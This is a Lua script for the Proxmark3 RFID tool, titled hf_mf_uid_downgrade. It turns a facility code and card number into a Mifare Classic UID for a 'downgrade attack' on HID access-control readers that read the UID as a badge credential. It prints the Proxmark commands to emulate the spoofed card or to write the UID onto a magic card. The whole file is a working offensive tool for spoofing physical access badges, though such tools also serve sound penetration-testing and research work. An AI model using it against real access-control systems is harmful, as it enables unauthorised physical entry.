style
[RRG-proxmark3.git] / client / luascripts / hf_mf_uid_downgrade.lua
blob97988fd1b19503d2c60bbd667cca9cc639c51e82
1 --
2 -- hf_mf_uid_downgrade.lua - Downgrading to UID-based Mifare Classic
3 -- Adapted from hf_mf_sim_hid.lua
4 -- Created 29.11.2023
6 local getopt = require('getopt')
7 local ansicolors = require('ansicolors')
9 copyright = ''
10 author = "Adam Foster (evildaemond)"
11 version = 'v0.0.1'
12 desc = [[
13 Convert a facility code and card number to a Mifare Classic UID, which can be used as part of a downgrade attack.
14 This abuses the fact that some controllers interpret the UID for Mifare Classic cards as a CN and FN, it requires the controller to interpret the wiegand payload in this way.
16 The example of FC 146 CN 5 would be read by the reader and send as a payload like 0920005, where 9200 is dec 146 and 05 is interpreted as 5
18 Working on HID Readers with any of the following enabled
19 - Generic 14333A
20 - Mifare Classic SIO + CSN
21 - Mifare Classic CSN
23 example = [[
24 -- Downgrade a card with the facility code of 146 and card number of 5
25 script run hf_mf_uid_downgrade.lua -f 146 -c 5
27 usage = [[
28 script run hf_mf_uid_downgrade.lua -f <dec> -c <dec>
30 arguments = [[
31 -h : this help
32 -f <dec> : facility code
33 -c <dec> : card number
36 --local bxor = bit32.bxor
37 local bor = bit32.bor
38 local lshift = bit32.lshift
39 ---
40 ---
41 -- Usage help
42 local function help()
43 print(copyright)
44 print(author)
45 print(version)
46 print(desc)
47 print(ansicolors.cyan..'Usage'..ansicolors.reset)
48 print(usage)
49 print(ansicolors.cyan..'Arguments'..ansicolors.reset)
50 print(arguments)
51 print(ansicolors.cyan..'Example usage'..ansicolors.reset)
52 print(example)
53 end
54 ---
55 -- Exit message
56 local function exitMsg(msg)
57 print( string.rep('--',20) )
58 print( string.rep('--',20) )
59 print(msg)
60 print()
61 end
63 local function oops(err)
64 print('ERROR:', err)
65 core.clearCommandBuffer()
66 return nil, errr
67 end
70 local function isempty(s)
71 return s == nil or s == ''
72 end
74 -- Function to combine two hexadecimal strings
75 local function convertToUID(hex_str1, hex_str2)
76 local hex1 = string.format('%04x', hex_str1)
77 local hex2 = string.format('%04x', hex_str2)
79 local combined_hex = hex1 .. hex2
80 local reversed_hex = ''
81 for i = #combined_hex, 1, -2 do
82 reversed_hex = reversed_hex .. string.sub(combined_hex, i - 1, i)
83 end
84 return reversed_hex
85 end
87 ---
88 -- main
89 local function main(args)
91 print( string.rep('--',20) )
92 print( string.rep('--',20) )
93 print()
95 if #args == 0 then return help() end
97 --I really wish a better getopt function would be brought in supporting
98 --long arguments, but it seems this library was chosen for BSD style
99 --compatibility
100 for o, a in getopt.getopt(args, 'f:c:h') do
101 if o == 'h' then return help() end
102 if o == 'f' then
103 if isempty(a) then return oops('You must supply a facility code') end
104 facility = a
106 if o == 'c' then
107 if isempty(a) then return oops('You must supply a card number') end
108 cardnum = a
112 --Due to my earlier complaints about how this specific getopt library
113 --works, specifying ':' does not enforce supplying a value, thus we
114 --need to do these checks all over again.
115 if isempty(facility) then return oops('You must supply a facility code') end
116 if isempty(cardnum) then return oops('You must supply a card number') end
118 local cardh = convertToUID(facility, cardnum)
120 print('Facility Code... ' .. facility)
121 print('Card number..... ' .. cardnum)
122 print('UID............. ' .. cardh)
123 print('')
125 -- Print emulation or writing string based on flags
126 print('Emulate via PM3:')
127 print('hf mf sim --1k -u', cardh, '\n')
129 print('Write to Mifare Classic Card (Gen1a or Above):')
130 print('hf mf csetuid -u', cardh)
134 main(args)